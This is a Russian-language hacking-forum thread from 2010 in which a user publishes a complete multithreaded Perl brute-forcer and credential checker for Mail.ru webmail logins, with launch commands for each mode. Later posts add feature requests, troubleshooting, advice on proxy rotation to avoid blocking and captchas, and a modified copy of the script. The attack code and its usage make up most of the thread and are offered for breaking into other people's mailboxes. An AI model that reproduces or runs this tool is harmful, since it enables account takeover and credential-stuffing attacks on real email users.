Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Mail.ru bruter (https://forum.antichat.xyz/showthread.php?t=171864)

Pashkela 19.01.2010 10:33

Mail.ru bruter
 
MAIL.RU bruter perl-скрипт

1. Брутит через стандартную пост-формочку наибычнейшей авторизации по адресу http://win.mail.ru/cgi-bin/auth

2. Возможность работы как с прокси так и без

3. Автосмена прокси

4. Возможность выставить кол-во попыток авторизации с одного прокси (доходит до последней - возвращается на первую - круговая система)

5. Многопоточный

6. Три режима работы:

примеры bat-файлов для запуска (win, никсы сами разберутся :cool: ):

===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0
Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10
===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10
===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10
===================================
Код:

#!/usr/bin/perl - UTF-8 encoding
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
#####################################################
my $login = "mail_login"; # логин - режим [0]
my $domain = "mail.ru"; # домен - режим [0]
my $password = "1234"; # пароль -режим[1]
$delimetr = ";"; # разделитель в списке мыло;пароль - режим [2]
$mode = $ARGV[0]; # режим брута:
#0 - брутим одно мыло по словарю паролей
#1 - брутим один пароль по словарю мыл
#2 - чекаем список мыло;пароль
$kol_threads = $ARGV[1]; # кол-во потоков
$timeout = $ARGV[2]; # таймаут - в секундах
$proxy  = $ARGV[3]; # прокси - юзать или нет, 1 - да, 0 - нет
$attempt  = $ARGV[4]; # через сколько попыток менять прокси (если дойдет до последней - начнет с первой)
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями - режим [0]
$mail_file = "mails.txt"; # файл с мылами - режим [1]
$mail_pass_file = "mails_pass.txt"; # файл с мылами и паролями - - режим [2]
$good_mail = "zgood.txt"; # удачные проверки, независимо от режима работы
######################################################
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
$size = 0;
if ($proxy == 1) {
      open(FILE1, "<", $proxy_file);
      print " Mode - with proxy\n";
      while(<FILE1>) {
        chomp;
        if ($_) {push(@prox, $_);}
      }
      $size = @prox;
} else {
      print " Mode - no proxy\n";

if ($mode == 0) {
  open(FILE2, "<", $passwords_file);
  while(<FILE2>) {
      chomp;
      if ($_) {push(@pass, $_);}
  }
  close(FILE2);
  $size1 = @pass;
  print "----------------------\n";
  print "Mail - " . $login . '@' . $domain . "\n";
  print "Threads - $kol_threads\n";
  print "Timeout - $timeout sec\n";
  print "Attempts for one proxy - $attempt\n";
  print "Proxies - $size\n";
  print "Passwords - $size1\n";
  print "----------------------\n";
}
if ($mode == 1) {
  open(FILE2, "<", $mail_file);
  while(<FILE2>) {
      chomp;
      if ($_) {push(@mail, $_);}
  }
  close(FILE2);
  $size1 = @mail;
  print "----------------------\n";
  print "Password - $password \n";
  print "Threads - $kol_threads\n";
  print "Timeout - $timeout sec\n";
  print "Attempts for one proxy - $attempt\n";
  print "Proxies - $size\n";
  print "Mails - $size1\n";
  print "----------------------\n";
}
if ($mode == 2) {
  open(FILE2, "<", $mail_pass_file);
  while(<FILE2>) {
      chomp;
      if ($_) {push(@mail_pass_file, $_);}
  }
  close(FILE2);
  $size1 = @mail_pass_file;
  print "----------------------\n";
  print "Mails for check - $size1 \n";
  print "Threads - $kol_threads\n";
  print "Timeout - $timeout sec\n";
  print "Attempts for one proxy - $attempt\n";
  print "Proxies - $size\n";
  print "----------------------\n";
}
open( FILE, ">>" . $good_mail ); # Файл для записи результатов
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
for(0..$thr) {
  $trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
  $trl[$_]->join;
}
sub gets {
      $| = 1;
      while ($num < $size1) {
        { lock($num);
        $num++; }
        $z++;
        if ($mode == 0) {
              $password = "";
              $password = $pass[$num];
        }
        if ($mode == 1) {
              my ( $login, $domen ) = split( /@/, $mail[$num] );
        }
        if ($mode == 2) {
              my ( $mail, $password ) = split( /$delimetr/, $mail_pass_file[$num] );
              my ( $login, $domen ) = split( /@/, $mail );
        }                             
        if ($proxy == 1) {
            if ($z == $attempt) {
                  $z = 0;
                  if ($i < ($size-1)) {
                      $i++;
                      print "\n";
                  }
                  if ($i == ($size-1)) {
                      $i = 0;
                      print "\n";
                  }
            }
        }
        check();
        $num++;
        print $num . "\r";
        sleep 1;
      } 
}
# Functions ##################################################################################
sub check {       
        if ($proxy == 1) {
            $current_proxy = $prox[$i];
            ($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
              print $num . "  current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
        } else {
                print $num . "\r";
        }     
        if ($proxy == 1) {
            $answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
        } else {
            $answ1 = req1('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
        }   
        $ck1 = collect($answ1);
        $answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
        if ($proxy == 1) {
              req('win.mail.ru', $1, 'GET', 0, $ck1);
              $answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
        } else {
              req1('win.mail.ru', $1, 'GET', 0, $ck1);
              $answ2 = req1('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
        }     
        if ($answ2 =~ m/msglist/img) {
            print "\n----------------------\n";
            print "[ Found password! Saved in $good_mail ]\n";
            print "----------------------\n\n\n\n\n";
            print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
            if ($mode == 0) {exit}
        }
}           
sub collect {
      my $data = $_[0];
      my $cookie = undef;
      while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
        $cookie .= $1."; ";
      }
      return $cookie;
}
sub req {
      my($host, $path, $type, $data, $cookies) = @_;
      my $request = "$type $path HTTP/1.0\n".
      "Host: $host\n".
      "Cookie: $cookies\n";
      $request .= "Content-type: application/x-www-form-urlencoded\n".
      "Content-Length: ".length($data)."\n\n".$data;
      if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
                print $socket $request;
                my $answ = undef;
                $socket->autoflush(1);
                while(my $buf = <$socket>) {
                  $answ .= $buf;
                }
                close $socket;
                return $answ;
      } 
}
sub req1 {
    my($host, $path, $type, $data, $cookies) = @_;
    my $sock = new IO::Socket::INET(
                        PeerAddr  => $host,
                        PeerPort  => 80,
                        PeerProto => 'tcp',
                        TimeOut  => 5);
    my $request = "$type $path HTTP/1.0\n".
    "Host: $host\n".
    "Cookie: $cookies\n";
    if($type eq "POST") {
      $request .= "Content-type: application/x-www-form-urlencoded\n".
      "Content-Length: ".length($data)."\n\n".$data;
    } else {
      $request .= "\n";
    }
    print $sock $request;
    my $answ = undef;
    while(my $buf = <$sock>) {
        $answ .= $buf;
    }
    return $answ;
}


mailbrush 19.01.2010 11:03

Pashkela, молодец :) Только сделай брут на login;pass

Pashkela 19.01.2010 11:53

2 mailbrush:

просто никогда брутом мыл не занимался - как лучше сделать - просто логин;пасс или как вообще списки для брута мыл выглядят - я думал что так:

123@mail.ru;пароль

в смысле откедова домен-то брать?

или и так и так сделать - с ручным указанием домена (тогда просто логин/пароль) и просто по готову списку именно мыльников/паролей? Нужна ли работа без прокси?

Просто в последних темах в "email" парни ищут чото актуальное, решил написать, тем более все уже сделано до нас

PS: Ну и как лучше - меню как в тулзе или через цмд-параметры? Могу соксы прикрутить, был бы спрос, а то так понимаю, такими вещами барыжат ( кстати, а сколько они стоят? :D )

mr.The 19.01.2010 17:09

оу, гуд, а я уже хотел свой написать, с блекджеком и шлюхами..

.devastatiour 20.01.2010 00:28

Pashkela на высоте!
мы все будем оч признательны за брут на логин/pass

Pashkela 20.01.2010 05:19

Цитата:

Сообщение от .devastatiour
мы все будем оч признательны за брут на логин/pass

так дайте ответ, какой логин/пасс именно нужен:

1. просто логин;пас (как для брута ну я не знаю, входа в админку сайта) с выбором домена (например mail.ru)
2. или логин@mail.ru;pass - для фактически не брута, а чека имеющегося списка мыл

вы же этим если занимаетесь - распишите четко, что нужно. Т.к. для меня пункт 1 например вообще непонятен, что вы собрались брутить по словарю логин/пасс - случайно попавшиеся мыльники что ли? Брут конкретного мыла по словарю и так есть. В общем подробности в студию

Если туплю я, и актуален только пункт 2 - так и напишите, да, именно как в пункте 2, нужен чекер имеющейся базы мыл

PS: Пока ушел писать чекер - читай, пункт 2, потому что пункт 1 для меня зогадко

imajo.ati 20.01.2010 09:57

неплохо было бы вынести частоизменяемые настройки в ini файл или в аргументы скрипта. к примеру пути до словарей.


по поводу логин\пасс: конечно же чекер!
и не придётся делать 2 режима подбора пароля, такие списки универсальны.

по 1 мылу:
xx1@xx.xx;password1
xx1@xx.xx;password2

по 1 паролю:
xx2@xx.xx;pass1
xx3@xx.xx;pass1

Pashkela 20.01.2010 10:58

о, теперь понятно, скоро будет

imajo.ati 20.01.2010 12:52

я в перле не силён, но посмотрев на скрипт мне кажется что в нем нет проверки на появление капчи. ведь если она появится, то даже верный пасс примется как неверный. неплохо было бы это предусмотреть в скрипте.

Pashkela 20.01.2010 12:54

дык прокси для этого и есть и кол-во попыток авторизации с одной прокси

imajo.ati 20.01.2010 13:33

Цитата:

Сообщение от Pashkela
дык прокси для этого и есть и кол-во попыток авторизации с одной прокси

Вася взял скрипт, 5к прокси, выставил кол-во попыток на 10 и начал восстанавливать забытые пароли на мэил.ру. соседи васи (90 человек), украли у васи список проксей и тоже начали восстанавливать забытые пароли на мэил.ру. получилось, что с одного прокси идёт 910 запросов. мэил ру начал выплёвывать капчу и вагон с индусами не смог восстановить ни одного ящика.

Pashkela 20.01.2010 13:56

ну да, ага, правильно. Но пока не предусмотрено, пока не до этого. Может и будет проверка

konuk2007 22.01.2010 02:16

Люди долбрые обьясните плиз как ним юзать создаю, passwords.txt- файл с паролями туда пихаю пароли по одному в строчку, потом создаю proxy.txt- файл с проксями туда пихаю прокси, далее results.txt- Файл для записи результатов, а где писать логин мыла или само мыло, количество потоков и.т.д
Обьясните плиз как ним пользоваться, а то очень нужно, буду очень благодарен, заранее спасибо)))

попугай 22.01.2010 04:06

так на майлру разве выводится каптча при неверных вводах? Никогда не видел.

maximka555 22.01.2010 12:24

У меня гуды пропускает,верных пасов в password.txt накидал а результатов нет,прокси все рабочие.И еще после использования последний прокси сразу бы на первую неплохо было бы чтоб перепрыгивал

Pashkela 22.01.2010 12:44

рекомендуемое кол-во потоков - 20
рекомендуемый таймаут - 10 сек (мин)

зависит от качества прокси. Все, что связано с прокси - зависит от их качества. Качество != бесплатные прокси

по поводу "прыгать на первую" прикольно. Прикручу

maximka555 22.01.2010 13:22

Цитата:

Сообщение от Pashkela
рекомендуемое кол-во потоков - 20
рекомендуемый таймаут - 10 сек (мин)

зависит от качества прокси. Все, что связано с прокси - зависит от их качества. Качество != бесплатные прокси

по поводу "прыгать на первую" прикольно. Прикручу

пробывал уже разные прокси,и все равно правильного пасса не находит,хотя он в самом начале списка.Настройки ставил такие

Pashkela 22.01.2010 13:56

2 maximka555:

у меня находит, что я делаю не так?:) Скинь сюда свои настройки, или в личку (включая мыло, сделай тестовое)

maximka555 22.01.2010 14:41

мои настройки

use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
################################################## ###
my $login = "9102266370"; # логин
my $domain = "mail.ru"; # домен
$kol_threads = 20; # кол-во потоков
$timeout = 10; # таймаут
$attempt = 5; # через сколько попыток менять прокси
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями
################################################## ####
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
open(FILE1, "<", $proxy_file);
while(<FILE1>) {
chomp;
if ($_) {push(@prox, $_);}
}
open(FILE2, "<", $passwords_file);
while(<FILE2>) {
chomp;
if ($_) {push(@pass, $_);}
}
close(FILE2);
open( FILE, ">>" . "results.txt" ); # Файл для записи результатов
$size = @prox;
$size1 = @pass;
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
print "----------------------\n";
print "Mail - " . $login . '@' . $domain . "\n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Passwords - $size1\n";
print "----------------------\n";
for(0..$thr) {
$trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets {
$| = 1;
while ($num < $size1) {
{ lock($num);
$num++; }
$z++;
$password = "";
if ($z == $attempt) {
$z = 0;
if ($i < ($size-1)) {
$i++;
print "\n";
}
}
$password = $pass[$num];
$current_proxy = $prox[$i];
($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
print $num . " current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
$answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$passwor d", 0);
$ck1 = collect($answ1);
$answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
req('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
if ($answ2 =~ m/msglist/img) {
print "\n----------------------\n";
print "[ Found password! Saved in result.txt ]\n";
print "----------------------\n\n\n\n\n";
print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
close(FILE);
exit;
}
$num++;
print $num . "\r";
sleep 1;
}
}
sub collect {
my $data = $_[0];
my $cookie = undef;
while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
$cookie .= $1."; ";
}
return $cookie;
}
sub req {
my($host, $path, $type, $data, $cookies) = @_;
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
print $socket $request;
my $answ = undef;
$socket->autoflush(1);
while(my $buf = <$socket>) {
$answ .= $buf;
}
close $socket;
return $answ;
}
}


пароль к мылу в личке

Killera 22.01.2010 14:49

у меня есть брутер но я не уверен что работает отлично

Pashkela 22.01.2010 15:00

2 maximka555:

проверил, все работает, проверял на таких проксях:

https://forum.antichat.ru/thread53202.html

PS: мы с тобой неправильно тест проводим, дай ЕЩЕ одно тестовое мыло и СПИСОК паролей, штук десять, среди которых 1 правильный, какой правильный не говори, я его должен буду сам найти, гы

Аська в профиле

maximka555 22.01.2010 15:23

кинул в личку

Pashkela 22.01.2010 15:27

я конечно извиняюсь, но прокси такого формата:

qa1s-thub-pub.photoworks.com:80

не поддерживаются, кхм

ПЛЮС будь внимательней, в том списке паролей, что у тебя лежат в passwords.txt в последнем варианте на слил.ру нет правильного пароля

Как так можно проверять - не понимаю.

PS: Проверил еще раз - все прекрасненько работает

maximka555 22.01.2010 15:43

а почему не работает с обычными проксями?Опять кинул в личку,не как он правельный пас не находит

GoodGod 22.01.2010 15:48

я юзнаю от здесь был я брут. все четко.

maximka555 22.01.2010 15:49

Демка в один паток?Всю жизнь им будеш брутить

Pashkela 22.01.2010 15:52

Цитата:

Сообщение от maximka555
а почему не работает с обычными проксями?Опять кинул в личку,не как он правельный пас не находит

и опять нашел, прикинь))) А как ты думаешь, почему прокси продаются и их к тому же покупают, если есть столько халявных прокси?)

maximka555 22.01.2010 15:55

Цитата:

Сообщение от Pashkela
и опять нашел, прикинь))) А как ты думаешь, почему прокси продаются и их к тому же покупают, если есть столько халявных прокси?)

у тебя тоже на холявных не находит?

Pashkela 22.01.2010 15:58

нет, на твоих - нет. Там идет реальная авторизация, куки и все такое, нужны нормальные прокси, там не простой get-запрос

nuBo 22.01.2010 16:04

Pashkela спасибо за труды, сможеш cделать наоборот, брут списка мыл, по 1 паролю? :)

Pashkela 22.01.2010 16:04

в процессе

PS: Чтобы больше не было вопросов по проксям - гоу в асечные темы, процесс подбора проксей одинаковый, если вы хотите халявные прокси

maximka555 22.01.2010 16:07

Цитата:

Сообщение от Pashkela
нет, на твоих - нет. Там идет реальная авторизация, куки и все такое, нужны нормальные прокси, там не простой get-запрос

а если на деда установить CCProxy и использовать его как прокси?

Pashkela 24.01.2010 11:10

update:

Три режима работы:

примеры bat-файлов для запуска (win, никсы сами разберутся :cool: ):

===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0
Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10
===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10
===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу
Код:

cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10
Обновления в первом посте темы, полностью бесплатно, разрешены любые модификации и полное несоблюдение авторских прав)

PS: Не забывайте благодарить также Kaimi, на основе его скрипта авторизации на mail.ru:

http://forum.antichat.ru/printthread.php?t=116399

и сделан брутер

mff 26.01.2010 03:23

Pashkela, спасибо большое. Актуальный скрипт написал.

Цитата:

Сообщение от Pashkela
А как ты думаешь, почему прокси продаются и их к тому же покупают, если есть столько халявных прокси?)

+1 :D Они хотят чтоб тупо кнопку нажал, и прокси посыпались "приватные" с "приватными" портами, тыщщами :D

Ушел юзать....

.devastatiour 27.01.2010 21:15

где взять базу мыл?
и еще расскажите пошагово как запускать.какие компоненты нужны для работы

Mapkyc_ 10.02.2010 18:23

Пробую без проксей, если верный пасс ставить в начало списка, то находит, если дальше 10 то уже пропускает гуды.

Pashkela 10.02.2010 18:25

больше таймаут, меньше потоков и т.д. От очень много зависит - от твоего интернета, от того, банит ли mail.ru за много попыток с одного IP (думаю разумеется) и т.д.

andreipup 16.02.2010 02:26

Как же его запустить то?
Инторпретатор перла у меня установлен!
Делаю все нужные файлы запускай скрипт толку 0!

Если можно выложите настройки на брут,
много мыл на один пасс)

maxya 21.02.2010 20:09

UPD
Разобрался.
Добавил =~ s/\r//; После chomp; Словари и списки проксей создавал под виндой, а запускал скрипт на линуксе, вот и была нестыковочка :)


Время: 10:15